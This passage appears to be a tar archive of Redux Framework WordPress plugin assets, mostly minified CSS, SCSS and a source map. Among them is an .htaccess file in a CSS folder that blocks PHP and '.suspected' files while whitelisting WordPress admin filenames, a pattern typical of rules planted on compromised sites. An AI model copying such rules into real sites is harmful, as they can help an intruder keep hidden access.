bottom,from(#f9f9f9),to(#ececec));background-image:-webkit-linear-gradient(top,#f9f9f9,#ececec);background-image:linear-gradient(top,#f9f9f9,#ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.redux-container-slides #redux-slides-accordion .redux-slides-image{height:250px;padding:5px;margin-top:10px;margin-bottom:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-container-slides .redux-slides-add{float:right;margin-right:10%;display:block;margin-bottom:10px}.redux-container-slides .redux-slides-remove{color:#ef521d!important;float:right;margin-top:5px}.redux-container-slides .redux-slides-header{font-weight:700}.redux-container-slides .redux_slides_add_remove{margin-bottom:10px}.redux-container-slides input{width:100%!important}.wp-customizer .redux-container-slides .ui-accordion .ui-accordion-content{padding:10px}.redux-container-sortable i.el{cursor:move}.redux-container-sortable label{margin-right:10px;width:300px}.redux-container-sortable label.bugger{margin-bottom:0!important;font-size:12px!important;color:#999}.redux-container-sortable input{margin-right:10px}.redux-container-sortable .checkbox-container{width:364px}.redux-container-sortable .checkbox-container .drag{float:right;margin-left:10px}.redux-container-sortable ul.labeled li{line-height:1.4em!important}.redux-container-sortable li{line-height:30px!important}.redux-container-sortable li.ui-state-highlight{height:30px;width:364px;margin-bottom:13px}.redux-container-sortable li.placeholder{height:30px;margin:10px 0}.wp-customizer .redux-sortable input[type=text]{width:92%}.wp-customizer .redux-sortable i.el{margin-left:5px}.wp-customizer .redux-container-sortable .checkbox-container{width:inherit}.wp-customizer .redux-container-sortable .ui-draggable-handle{margin-left:3%}.redux-container-sorter{margin-right:-20px}.redux-container-sorter ul{background:#f9f9f9;border:1px solid #e3e3e3;min-height:40px;padding:10px 10px 0;width:145px;float:left;margin:0 15px 0 0}.redux-container-sorter ul.filled{opacity:.7;background:#efecec}.redux-container-sorter ul li{border:1px solid #dfdfdf;cursor:move;font-weight:700;margin-bottom:10px!important;padding:0 10px;height:40px;line-height:40px!important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top,#f9f9f9,#ececec);background-image:-moz-linear-gradient(top,#f9f9f9,#ececec);background-image:-o-linear-gradient(top,#f9f9f9,#ececec);background-image:-webkit-gradient(linear,left top,left bottom,from(#f9f9f9),to(#ececec));background-image:-webkit-linear-gradient(top,#f9f9f9,#ececec);background-image:linear-gradient(top,#f9f9f9,#ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.redux-container-sorter ul li h3{margin:0 0 10px;text-align:center;color:#777;text-transform:capitalize;word-wrap:break-word}.redux-container-sorter ul li.placeholder{height:40px}.wp-customizer .redux-container-sorter ul{width:85%;margin:0 0 5px 0}.redux-container-spacing .select_wrapper,.redux-container-spacing select{width:80px!important;float:left}.redux-container-spacing .field-spacing-input{margin-right:10px;margin-bottom:7px}@media screen and (max-width:782px){.redux-container-spacing .field-spacing-input input{display:inline-block!important;width:70px!important}.redux-container-spacing .field-spacing-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-container-spacing .select_wrapper{margin-top:6px}}.redux-container-spinner .spinner-wrpr{position:relative;display:block;height:30px;overflow:hidden}.redux-container-spinner .spinner-wrpr .spinner-input{position:relative!important;z-index:1;width:45px!important;height:30px!important;background:#e7e7e7!important;border:1px solid #bfbfbf!important;border-right:0!important;border-left:0!important;-webkit-border-radius:0!important;-moz-border-radius:0!important;border-radius:0!important}.redux-container-spinner .ui-spinner{position:static;display:inline}.redux-container-spinner .ui-spinner-buttons{position:absolute;padding:0}.redux-container-spinner .ui-widget .ui-spinner-button{position:absolute;top:0;padding:0 0 30px;overflow:hidden;cursor:pointer;background:-moz-linear-gradient(#fff,#f3f3f3);background:-o-linear-gradient(#fff,#f3f3f3);background:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f3f3f3));background:linear-gradient(#fff,#f3f3f3);background-color:#fff;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.redux-container-spinner .ui-spinner-button:hover,.redux-container-spinner .ui-state-hover{background:-moz-linear-gradient(#f3f3f3,#fff);background:-o-linear-gradient(#f3f3f3,#fff);background:-webkit-gradient(linear,left top,left bottom,from(#f3f3f3),to(#fff));background:linear-gradient(#f3f3f3,#fff);background-color:#f3f3f3}.redux-container-spinner .ui-corner-tr,.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{-webkit-border-radius:0 5px 5px 0;-moz-border-radius:0 5px 5px 0;border-radius:0 5px 5px 0}.redux-container-spinner .ui-corner-br,.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{-webkit-border-radius:5px 0 0 5px;-moz-border-radius:5px 0 0 5px;border-radius:5px 0 0 5px}.redux-container-spinner .ui-spinner-button .ui-icon{top:0;display:block;width:28px;height:28px;margin:0;border:1px solid #b7b7b7}.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat!important}.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat!important}.redux-container-switch .switch-options{min-height:30px;margin-right:10px}.redux-container-switch .switch-options label{cursor:pointer}.redux-container-switch .switch-options input{display:none}.redux-container-switch .cb-disable,.redux-container-switch .cb-enable{padding:0 10px;border-width:1px;border-style:solid;-webkit-appearance:none;white-space:nowrap;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.redux-container-switch .cb-disable span,.redux-container-switch .cb-enable span{line-height:30px;display:block;font-weight:700;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;-ms-user-select:none;user-select:none}.redux-container-switch .cb-disable,.redux-container-switch .cb-disable span,.redux-container-switch .cb-enable,.redux-container-switch .cb-enable span{display:block;float:left}.redux-container-switch .cb-enable{border-right:0;border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px}.redux-container-switch .cb-enable.selected{color:#fff}.redux-container-switch .cb-disable{border-left:0;border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0}.redux-container-switch .cb-disable.selected{color:#fff}.redux-container-text label{display:block;position:relative;font-size:12px!important;text-align:left;color:#999;margin:4px 0 2px 0!important;cursor:default;top:5px;width:100px}.redux-container-text input{clear:left}.redux-container-text .input_wrapper{display:block;position:relative;padding:0;width:23%;max-width:23%;min-width:70px;float:left;clear:left;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.wp-customizer .redux-container-text .input_wrapper{width:100%;max-width:100%;height:auto}.redux-main .redux-typography-container{display:block;position:relative;margin:0;padding:0;width:100%;max-width:660px}.redux-main .redux-typography-container .clearfix{clear:both}.redux-main .redux-typography-container .clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.redux-main .redux-typography-container .redux-typography-color,.redux-main .redux-typography-container input.wp-picker-default{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;height:24px;padding:0 14px!important;margin-top:0;margin-bottom:0;margin-left:4px!important;font-size:12px!important}.redux-main .redux-typography-container .select_wrapper{display:block;position:relative;float:left;clear:none;margin:0 10px 0 0;width:48%!important;min-width:210px!important;max-width:324px!important;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}.redux-main .redux-typography-container .select_wrapper:nth-child(odd){margin-right:10px!important}.redux-main .redux-typography-container .select_wrapper:nth-child(even){margin-right:10px!important}.redux-main .redux-typography-container .select_wrapper.typography-family .select2-container{width:100%}.redux-main .redux-typography-container .select_wrapper .redux-typography{font-size:14px!important;display:block;float:left;height:28px!important;line-height:50px!important;padding:0!important;width:100%!important;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}.redux-main .redux-typography-container .wp-picker-container{float:left;clear:left;margin-bottom:12px;padding:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-main .redux-typography-container .input_wrapper{display:block;position:relative;margin:0 4px 0 5px;padding:0;width:23%;max-width:23%;min-width:70px;float:left;clear:none;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.redux-main .redux-typography-container .input_wrapper.font-size{margin-left:0}.redux-main .redux-typography-container .input_wrapper input.mini{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:78%;text-align:center;margin:0;height:28px;top:3px;padding:0 2px 0 5px;text-decoration:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .redux-typography-container .picker-wrapper{display:block;display:block;position:relative;margin:0 4px 0 5px;margin:0;padding:0;width:23%;width:100%;max-width:23%;min-width:70px;min-width:100%;clear:none;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.redux-main .redux-typography-container label{display:block;position:relative;font-size:12px!important;text-align:left;color:#999;margin:4px 0 2px 0!important;cursor:default}.redux-main .redux-typography-container .typography-preview{display:none;width:100%;border:1px dotted #d3d3d3;max-width:850px;padding:10px;font-size:10pt;height:auto;margin:5px 0 10px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;overflow:hidden}.redux-main .redux-typography-container .typography-color{border:0 none;margin:0}.redux-main .redux-typography-container ::-webkit-input-placeholder{line-height:19px}@media screen and (max-width:540px){.redux-main .redux-main .redux-typography-container{max-width:230px;margin:0 auto}.redux-main .redux-main .redux-typography-container .select_wrapper{max-width:210px;min-width:210px;width:210px;margin-left:0!important;margin-right:0!important}.redux-main .redux-main .redux-typography-container .input_wrapper{max-width:101px;min-width:101px;width:101px;margin-left:0!important;margin-right:5px!important}.redux-main .redux-main .redux-typography-container .input_wrapper input.mini{width:73%}.redux-main .redux-main .redux-typography-container .input-append .add-on{width:30%;padding:5px!important}.redux-main .redux-main .redux-main .wp-picker-container .wp-picker-input-wrap{margin-top:7px}}@media screen and (max-width:360px){.redux-main .redux-typography-container .iris-picker .iris-square{margin-right:3%}}.wp-customizer .redux-typography-container .input_wrapper{width:40%;max-width:40%;min-width:20%}.wp-customizer .redux-typography-container .input_wrapper input.mini{width:70%}.wp-customizer .redux-typography-container .select_wrapper{width:100%!important}.redux-main input.redux-color{float:left;width:70px;margin-left:5px}.redux-main input.color-transparency{margin-left:10px;margin-right:3px}.redux-main input.wp-color-picker{width:80px!important}.redux-main .section-color .controls{width:345px}.redux-main .section-color .explain{width:225px}.redux-main .iris-picker .iris-strip .ui-slider-handle{position:absolute;background:0 0!important;right:-3px;left:-3px;border:4px solid #aaa!important;border-width:4px 3px;width:auto;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,.2);opacity:.9;z-index:5;cursor:ns-resize}.redux-main .iris-picker .iris-slider-offset{position:absolute;top:2px;left:0;right:0;bottom:4px;width:28px;background:0 0!important;border:0!important;height:auto}.redux-main .wp-picker-container{display:inline-block;outline:0}.redux-main .wp-picker-container input{margin-bottom:inherit;margin-top:inherit;padding:3px 5px}.redux-main .wp-picker-container .wp-color-result{outline:0;margin:0;height:24px!important;margin:0 6px 6px 0!important}.redux-main .wp-picker-container .wp-picker-default{padding:0 10px 1px}.redux-main .wp-picker-container .wp-color-result-text{line-height:22px}.redux-main .redux-color-gradient{line-height:24px}.redux-main .color-transparency-check{line-height:1;margin:0!important;padding-top:10px}.redux-main .wp-picker-clear{margin-top:0!important}.wp-customizer .redux-main .redux-typography-container .redux-typography-color,.wp-customizer .redux-main .redux-typography-container input.wp-picker-default,.wp-customizer .redux-main input.wp-picker-default{padding:0 4px!important}.wp-customizer .redux-main input.wp-color-picker{width:65px!important;margin-left:5px!important}.redux-main .button.remove-image,.redux-main .removeCSS{margin-left:10px;color:#ef521d}.redux-main .button.remove-image:hover,.redux-main .removeCSS:hover{color:red}.redux-main .upload_button_div{margin-bottom:5px}.redux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:700;text-decoration:none;text-shadow:1px 1px 0 #fff;margin:0 10px 0 0;padding:3px 10px;background:#ffdfec;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .reset-button{font-family:Arial,Verdana,sans-serif;float:left;margin:0;color:#ef521d;border-color:#bbb}.redux-main .redux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-main .redux-main .upload{width:80%!important}.redux-main .button{margin-top:2px}����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/color-picker/color-picker.css��������������������������������������������0000644�����������������00000003236�14720701300�0017452 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main input.redux-color{float:left;width:70px;margin-left:5px}.redux-main input.color-transparency{margin-left:10px;margin-right:3px}.redux-main input.wp-color-picker{width:80px !important}.redux-main .section-color .controls{width:345px}.redux-main .section-color .explain{width:225px}.redux-main .iris-picker .iris-strip .ui-slider-handle{position:absolute;background:none !important;right:-3px;left:-3px;border:4px solid #aaa !important;border-width:4px 3px;width:auto;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,0.2);opacity:.9;z-index:5;cursor:ns-resize}.redux-main .iris-picker .iris-slider-offset{position:absolute;top:2px;left:0px;right:0;bottom:4px;width:28px;background:none !important;border:0 !important;height:auto}.redux-main .wp-picker-container{display:inline-block;outline:0}.redux-main .wp-picker-container input{margin-bottom:inherit;margin-top:inherit;padding:3px 5px}.redux-main .wp-picker-container .wp-color-result{outline:0;margin:0;height:24px !important;margin:0 6px 6px 0 !important}.redux-main .wp-picker-container .wp-picker-default{padding:0 10px 1px}.redux-main .wp-picker-container .wp-color-result-text{line-height:22px}.redux-main .redux-color-gradient{line-height:24px}.redux-main .color-transparency-check{line-height:1;margin:0 !important;padding-top:10px}.redux-main .wp-picker-clear{margin-top:0 !important}.wp-customizer .redux-main input.wp-picker-default,.wp-customizer .redux-main .redux-typography-container input.wp-picker-default,.wp-customizer .redux-main .redux-typography-container .redux-typography-color{padding:0px 4px !important}.wp-customizer .redux-main input.wp-color-picker{width:65px !important;margin-left:5px !important} ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/color-picker/color-picker.css.map����������������������������������������0000644�����������������00000002212�14720701300�0020217 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAEQ,6BAAc;EACV,KAAK,EAAE,IAAI;EACX,KAAK,EAAE,IAAI;EACX,WAAW,EAAE,GAAG;AAGpB,oCAAqB;EACjB,WAAW,EAAE,IAAI;EACjB,YAAY,EAAE,GAAG;AAGrB,iCAAkB;EACd,KAAK,EAAE,eAAe;AAK1B,oCAAU;EACN,KAAK,EAAE,KAAK;AAGhB,mCAAS;EACL,KAAK,EAAE,KAAK;AAKhB,sDAA8B;EAC1B,QAAQ,EAAE,QAAQ;EAClB,UAAU,EAAE,eAAe;EAC3B,KAAK,EAAE,IAAI;EACX,IAAI,EAAE,IAAI;EACV,MAAM,EAAE,yBAAyB;EACjC,YAAY,EAAE,OAAO;EACrB,KAAK,EAAE,IAAI;EACX,aAAa,EAAE,GAAG;EAClB,UAAU,EAAE,4BAA2B;EACvC,OAAO,EAAE,EAAE;EACX,OAAO,EAAE,CAAC;EACV,MAAM,EAAE,SAAS;AAGrB,4CAAoB;EAChB,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,GAAG;EACR,IAAI,EAAE,CAAC;EACP,KAAK,EAAE,CAAC;EACR,MAAM,EAAE,GAAG;EACX,KAAK,EAAE,IAAI;EACX,UAAU,EAAE,eAAe;EAC3B,MAAM,EAAE,YAAY;EACpB,MAAM,EAAE,IAAI;AAKhB,sCAAM;EACF,aAAa,EAAE,OAAO;EACtB,UAAU,EAAE,OAAO;EACnB,OAAO,EAAE,OAAO;AAGpB,iDAAiB;EACb,OAAO,EAAE,CAAC;EACV,MAAM,EAAE,CAAC;AAGb,mDAAmB;EACf,OAAO,EAAE,UAAU;AAI3B,iCAAsB;EAClB,WAAW,EAAE,IAAI;AAGrB,qCAA0B;EACtB,WAAW,EAAE,CAAC;EACd,UAAU,EAAE,cAAc;AAG9B,4BAAiB;EACb,UAAU,EAAE,YAAY;;AAK5B,kNAAsK;EAClK,OAAO,EAAE,kBAAkB;AAE/B,gDAAkC;EAC9B,KAAK,EAAE,eAAe;EACtB,WAAW,EAAE,cAAc", "sources": ["color-picker.scss"], "names": [], "file": "color-picker.css" }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/color-picker/color-picker.scss�������������������������������������������0000644�����������������00000004454�14720701300�0017640 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main { input{ &.redux-color { float: left; width: 70px; margin-left: 5px; } &.color-transparency { margin-left: 10px; margin-right: 3px; } &.wp-color-picker { width: 80px !important; } } .section-color { .controls { width: 345px; } .explain { width: 225px; } } .iris-picker { .iris-strip .ui-slider-handle { position: absolute; background: none !important; right: -3px; left: -3px; border: 4px solid #aaa !important; border-width: 4px 3px; width: auto; border-radius: 4px; box-shadow: 0 1px 2px rgba(0, 0, 0, .2); opacity: .9; z-index: 5; cursor: ns-resize; } .iris-slider-offset { position: absolute; top: 2px; left: 0px; right: 0; bottom: 4px; width: 28px; //17 background: none !important; border: 0 !important; height: auto; } } .wp-picker-container { display: inline-block; outline: 0; input { margin-bottom: inherit; margin-top: inherit; padding: 3px 5px; } .wp-color-result { outline: 0; margin: 0; height: 24px!important; margin: 0 6px 6px 0!important; } .wp-picker-default { padding: 0 10px 1px; } .wp-color-result-text { line-height: 22px; } } .redux-color-gradient { line-height: 24px; } .color-transparency-check { line-height: 1; margin: 0!important; padding-top: 10px; } .wp-picker-clear { margin-top: 0 !important; } } .wp-customizer { .redux-main input.wp-picker-default, .redux-main .redux-typography-container input.wp-picker-default, .redux-main .redux-typography-container .redux-typography-color { padding: 0px 4px !important; } .redux-main input.wp-color-picker { width: 65px !important; margin-left: 5px !important; } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/color-picker/.htaccess���������������������������������������������������0000644�����������������00000001626�14720701300�0016146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/redux-vendor.css���������������������������������������������������������0000644�����������������00000104212�14720701300�0015106 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:10.5px;line-height:12px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;padding:5px 9px;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;padding:5px 35px 5px 10px;overflow:hidden;border-width:0 0 1px;font-weight:700}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{position:absolute;right:-9px;top:-9px;cursor:pointer;outline:0;border-width:1px;border-style:solid;border-color:transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:normal bold 10px/13px Tahoma,sans-serif;color:inherit;background:-100em -100em no-repeat}.qtip-default{border-width:1px;border-style:solid;border-color:#F1D031;background-color:#FFFFA3;color:#555}.qtip-default .qtip-titlebar{background-color:#FFEF93}.qtip-default .qtip-icon{border-color:#CCC;background:#F1F1F1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#AAA;color:#111}/*! Light tooltip style */.qtip-light{background-color:#fff;border-color:#E2E2E2;color:#454545}.qtip-light .qtip-titlebar{background-color:#f1f1f1}/*! Dark tooltip style */.qtip-dark{background-color:#505050;border-color:#303030;color:#f3f3f3}.qtip-dark .qtip-titlebar{background-color:#404040}.qtip-dark .qtip-icon{border-color:#444}.qtip-dark .qtip-titlebar .ui-state-hover{border-color:#303030}/*! Cream tooltip style */.qtip-cream{background-color:#FBF7AA;border-color:#F9E98E;color:#A27D35}.qtip-cream .qtip-titlebar{background-color:#F0DE7D}.qtip-cream .qtip-close .qtip-icon{background-position:-82px 0}/*! Red tooltip style */.qtip-red{background-color:#F78B83;border-color:#D95252;color:#912323}.qtip-red .qtip-titlebar{background-color:#F06D65}.qtip-red .qtip-close .qtip-icon{background-position:-102px 0}.qtip-red .qtip-icon,.qtip-red .qtip-titlebar .ui-state-hover{border-color:#D95252}/*! Green tooltip style */.qtip-green{background-color:#CAED9E;border-color:#90D93F;color:#3F6219}.qtip-green .qtip-titlebar{background-color:#B0DE78}.qtip-green .qtip-close .qtip-icon{background-position:-42px 0}/*! Blue tooltip style */.qtip-blue{background-color:#E5F6FE;border-color:#ADD9ED;color:#5E99BD}.qtip-blue .qtip-titlebar{background-color:#D0E9F5}.qtip-blue .qtip-close .qtip-icon{background-position:-2px 0}.qtip-shadow{-webkit-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);-moz-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);box-shadow:1px 1px 3px 1px rgba(0,0,0,.15)}.qtip-bootstrap,.qtip-rounded,.qtip-tipsy{-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.qtip-rounded .qtip-titlebar{-moz-border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.qtip-youtube{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 3px #333;-moz-box-shadow:0 0 3px #333;box-shadow:0 0 3px #333;color:#fff;border-width:0;background:#4A4A4A;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,#000));background-image:-webkit-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-moz-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-ms-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-o-linear-gradient(top,#4A4A4A 0,#000 100%)}.qtip-youtube .qtip-titlebar{background-color:transparent}.qtip-youtube .qtip-content{padding:.75em;font:12px arial,sans-serif;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr=#4a4a4a, EndColorStr=#000000);-ms-filter:"progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"}.qtip-youtube .qtip-icon{border-color:#222}.qtip-youtube .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-jtools{background:#232323;background:rgba(0,0,0,.7);background-image:-webkit-gradient(linear,left top,left bottom,from(#717171),to(#232323));background-image:-moz-linear-gradient(top,#717171,#232323);background-image:-webkit-linear-gradient(top,#717171,#232323);background-image:-ms-linear-gradient(top,#717171,#232323);background-image:-o-linear-gradient(top,#717171,#232323);border:2px solid #ddd;border:2px solid rgba(241,241,241,1);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 12px #333;-moz-box-shadow:0 0 12px #333;box-shadow:0 0 12px #333}.qtip-jtools .qtip-titlebar{background-color:transparent;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171, endColorstr=#4A4A4A);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"}.qtip-jtools .qtip-content{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A, endColorstr=#232323);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"}.qtip-jtools .qtip-content,.qtip-jtools .qtip-titlebar{background:0 0;color:#fff;border:0 dashed transparent}.qtip-jtools .qtip-icon{border-color:#555}.qtip-jtools .qtip-titlebar .ui-state-hover{border-color:#333}.qtip-cluetip{-webkit-box-shadow:4px 4px 5px rgba(0,0,0,.4);-moz-box-shadow:4px 4px 5px rgba(0,0,0,.4);box-shadow:4px 4px 5px rgba(0,0,0,.4);background-color:#D9D9C2;color:#111;border:0 dashed transparent}.qtip-cluetip .qtip-titlebar{background-color:#87876A;color:#fff;border:0 dashed transparent}.qtip-cluetip .qtip-icon{border-color:#808064}.qtip-cluetip .qtip-titlebar .ui-state-hover{border-color:#696952;color:#696952}.qtip-tipsy{background:#000;background:rgba(0,0,0,.87);color:#fff;border:0 solid transparent;font-size:11px;font-family:'Lucida Grande',sans-serif;font-weight:700;line-height:16px;text-shadow:0 1px #000}.qtip-tipsy .qtip-titlebar{padding:6px 35px 0 10px;background-color:transparent}.qtip-tipsy .qtip-content{padding:6px 10px}.qtip-tipsy .qtip-icon{border-color:#222;text-shadow:none}.qtip-tipsy .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-tipped{border:3px solid #959FA9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-color:#F9F9F9;color:#454545;font-weight:400;font-family:serif}.qtip-tipped .qtip-titlebar{border-bottom-width:0;color:#fff;background:#3A79B8;background-image:-webkit-gradient(linear,left top,left bottom,from(#3A79B8),to(#2E629D));background-image:-webkit-linear-gradient(top,#3A79B8,#2E629D);background-image:-moz-linear-gradient(top,#3A79B8,#2E629D);background-image:-ms-linear-gradient(top,#3A79B8,#2E629D);background-image:-o-linear-gradient(top,#3A79B8,#2E629D);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8, endColorstr=#2E629D);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"}.qtip-tipped .qtip-icon{border:2px solid #285589;background:#285589}.qtip-tipped .qtip-icon .ui-icon{background-color:#FBFBFB;color:#555}.qtip-bootstrap{font-size:14px;line-height:20px;color:#333;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.qtip-bootstrap .qtip-titlebar{padding:8px 14px;margin:0;font-size:14px;font-weight:400;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.qtip-bootstrap .qtip-titlebar .qtip-close{right:11px;top:45%;border-style:none}.qtip-bootstrap .qtip-content{padding:9px 14px}.qtip-bootstrap .qtip-icon{background:0 0}.qtip-bootstrap .qtip-icon .ui-icon{width:auto;height:auto;float:right;font-size:20px;font-weight:700;line-height:18px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.qtip-bootstrap 